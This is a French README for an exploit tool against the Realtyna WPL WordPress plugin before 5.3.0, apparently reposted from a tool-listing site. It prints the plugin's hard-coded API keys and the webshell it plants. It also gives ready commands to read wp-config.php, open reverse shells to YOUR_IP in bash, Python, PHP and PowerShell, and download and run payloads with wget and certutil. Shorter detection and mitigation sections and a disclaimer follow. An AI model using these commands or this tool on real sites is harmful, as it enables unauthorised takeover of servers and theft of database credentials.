Realtyna WPL < 5.3.0 - Exploit RCE non authentifié

Description

Cet exploit cible une vulnérabilité critique dans le plugin Realtyna Organic IDX + WPL Real Estate dans les versions antérieures à 5.3.0. Le plugin utilise des identifiants codés en dur et permet un téléversement de fichiers non authentifié conduisant à une exécution de code à distance (RCE).

Détails de la vulnérabilité

• ID CVE : CVE-2026-13714
• Versions affectées : < 5.3.0
• Type : Téléversement arbitraire de fichiers non authentifié conduisant à une RCE
• Chercheur : Thom Stackhouse

Détails techniques

Le plugin dispose d'une API I/O activée par défaut avec des identifiants codés en dur :

• io_public_key = U7hdbv673YhdjplzzX7wU7hdbv673YhdjplzzX7w
• io_private_key = Eft76bdh0o2uyhJkbG3T

L'API ne valide pas les types de fichiers, ce qui permet le téléversement arbitraire de fichiers PHP.

Installation

# Clone or download the script
git clone https://github.com/yourusername/wpl-rce-exploit.git
cd wpl-rce-exploit

# Install dependencies
pip install requests urllib3

Utilisation

Utilisation de base

# Upload webshell only
python exploit.py -u https://target.com/wordpress

# Execute a command
python exploit.py -u https://target.com/wordpress -c "whoami"

# Multiple commands
python exploit.py -u https://target.com/wordpress -c "id"  # Linux
python exploit.py -u https://target.com/wordpress -c "systeminfo"  # Windows

Commandes courantes

Cibles Linux

# System information
python exploit.py -u https://target.com -c "uname -a"

# Current user
python exploit.py -u https://target.com -c "whoami"

# List files
python exploit.py -u https://target.com -c "ls -la"

# Read wp-config.php
python exploit.py -u https://target.com -c "cat wp-config.php"

# Network information
python exploit.py -u https://target.com -c "ifconfig"
python exploit.py -u https://target.com -c "netstat -tulpn"

Cibles Windows

# System information
python exploit.py -u https://target.com -c "systeminfo"

# Current user
python exploit.py -u https://target.com -c "whoami"

# List files
python exploit.py -u https://target.com -c "dir"

# Read wp-config.php
python exploit.py -u https://target.com -c "type wp-config.php"

# Network information
python exploit.py -u https://target.com -c "ipconfig"
python exploit.py -u https://target.com -c "netstat -ano"

Utilisation avancée

Shell inversé (Linux)

# Netcat reverse shell
python exploit.py -u https://target.com -c "bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'"

# Python reverse shell
python exploit.py -u https://target.com -c "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'"

# PHP reverse shell
python exploit.py -u https://target.com -c "php -r '\$sock=fsockopen(\"YOUR_IP\",4444);exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

Shell inversé (Windows)

# PowerShell reverse shell
python exploit.py -u https://target.com -c "powershell -c \"\$client = New-Object System.Net.Sockets.TCPClient('YOUR_IP',4444);\$stream = \$client.GetStream();[byte[]]\$bytes = 0..65535|%{0};while((\$i = \$stream.Read(\$bytes, 0, \$bytes.Length)) -ne 0){;\$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString(\$bytes,0, \$i);\$sendback = (iex \$data 2>&1 | Out-String );\$sendback2 = \$sendback + 'PS ' + (pwd).Path + '> ';\$sendbyte = ([text.encoding]::ASCII).GetBytes(\$sendback2);\$stream.Write(\$sendbyte,0,\$sendbyte.Length);\$stream.Flush()};\$client.Close()\""

Téléversement et exécution de charges utiles personnalisées

# Download and execute (Windows)
python exploit.py -u https://target.com -c "certutil -urlcache -f http://YOUR_IP/payload.exe C:\temp\payload.exe && C:\temp\payload.exe"

# Download and execute (Linux)
python exploit.py -u https://target.com -c "wget http://YOUR_IP/payload -O /tmp/payload && chmod +x /tmp/payload && /tmp/payload"

Déroulement de l'exploit

1. Téléversement : Téléverse un webshell PHP (<?php system($_GET['c']); ?>)
2. Emplacement : Fichier enregistré dans wp-content/uploads/WPL/<ID>/shell.php
3. Exécution : Exécute des commandes via shell.php?c=COMMAND

Détection

Comment détecter l'exploit

• Recherchez des fichiers suspects dans /wp-content/uploads/WPL/*/
• Surveillez les requêtes avec les paramètres : wplview=io, wplformat=io, cmd=set_property
• Recherchez les requêtes API suspectes avec des identifiants codés en dur

Signes de compromission

• Fichiers PHP inattendus dans les répertoires de téléversement
• Requêtes web inhabituelles avec des commandes système
• Nouveaux utilisateurs administrateurs dans WordPress
• Fichiers .htaccess modifiés

Atténuation

Correctifs

1. Mettez à jour immédiatement vers WPL Real Estate version 5.3.0 ou supérieure
2. Si une mise à jour n'est pas possible, désactivez l'API I/O :
   root@kitploit:~

   // Add to wp-config.php
   define('WPL_IO_STATUS', 0);
   

3. Modifiez les identifiants codés en dur
4. Mettez en place une validation appropriée des types de fichiers
5. Restreignez les répertoires de téléversement de fichiers

Recommandations de sécurité

• Maintenez tous les plugins WordPress à jour
• Utilisez un pare-feu applicatif web (WAF)
• Effectuez des audits de sécurité réguliers
• Surveillez les répertoires de téléversement de fichiers
• Désactivez les API inutiles

Captures d'écran

Exploit réussi

[+] Realtyna WPL < 5.3.0 RCE Exploit
[+] Target: https://localhost/wordpress/
[+] Command: whoami
[+] Uploading webshell...
[+] File uploaded successfully!
[+] Webshell found at: wp-content/uploads/WPL/1/shell.php
[+] Command output:
desktop-0s8mt1v\kg

Avertissement

Cet exploit est réservé à des fins éducatives et de tests autorisés uniquement. Toute utilisation non autorisée contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas la permission de tester est illégale. L'auteur décline toute responsabilité en cas de mauvaise utilisation.

Utilisation légale

• Utilisez uniquement sur les systèmes que vous possédez
• Utilisez uniquement avec une autorisation écrite explicite
• Suivez les pratiques de divulgation responsable
• Signalez les vulnérabilités aux éditeurs

Licence

Ce projet est uniquement à des fins éducatives. Utilisez-le à vos propres risques.

Crédits

• Chercheur d'origine : Thom Stackhouse
• CVE : CVE-2026-13714
• ID WPVDB : 69f9dcd8-ab3c-46ed-ac6b-2f1db35f8d1f

Références

• Page de vulnérabilité WPScan
• CVE-2026-13714

Journal des modifications

v1.0 (2026-08-17)

• Version initiale
• Téléversement de fichiers non authentifié
• Exécution de code à distance
• Prise en charge de l'exécution de commandes

Contribution

N'hésitez pas à soumettre des issues et des pull requests pour des améliorations.

Support

Pour les problèmes et questions, veuillez ouvrir une issue sur GitHub.

⚠️ AVERTISSEMENT : Cet outil est fourni uniquement à des fins de recherche en sécurité et d'éducation. Obtenez toujours une autorisation appropriée avant de tester un système.